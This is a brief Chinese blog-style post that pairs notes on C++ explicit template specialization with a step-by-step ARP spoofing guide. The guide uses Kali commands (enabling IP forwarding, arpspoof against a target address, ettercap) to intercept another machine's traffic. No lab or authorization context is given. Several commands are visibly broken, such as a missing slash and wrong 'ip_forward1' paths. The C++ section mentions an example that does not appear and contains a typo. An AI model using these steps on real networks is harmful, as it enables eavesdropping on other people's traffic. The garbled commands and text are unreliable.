第一个知识点:显式具体化,即提供一种具体化函数定义,其作用在于:
1.对于给定的函数名,可以有废木板函数、模板函数和显式具体化模板函数以及他们的重载版本。
2.显式具体化的原型和定义应以template<>打头,并通过名称来指出类型。
3.具体化优先于常规模板,而非模板函数优先于具体化和常规模板。
这里给个实例:主要注意的是swap函数是std中自带的函数,小编在第一次编译出错中发现了这个问题,所以可以使用首字母大写自定义函数模板,这个例子主要是展示显式具体化的调用等级高于普通模板。
第二个知识点:之前有小伙伴有问到我ARP欺骗的问题这里我来说一下,首先我们要进行的就靶机的确定,其中要确认一定处于同一网段,之后我们要进行一次通路测试,看是否两网互通,具体方法:
1.设置转发机制,在kali中输入一下内容并回车。
echo 1 >proc/sys/net/ipv4/ip_forward1
2.回显第一步转发确认,在kali中输入一下代码并回车。
cat /proc/sys/net/ipv4/ip_forward1
回显“1”说明第一步开启流量转发已经成功运行
3.既然要让电脑乖乖的转发自己的流量,就要让他有一种你电脑就是他要去的假象,这一步要开启ARP欺骗。另启一个窗口,输入一下代码并回车。
arpspoof -i eth0 -t 192.168.1.112 192.168.1.11
这是ARP欺骗方法,之前写过。
4.再启一个窗口,输入一下内容并回车。
ettercap -Tq -i eth0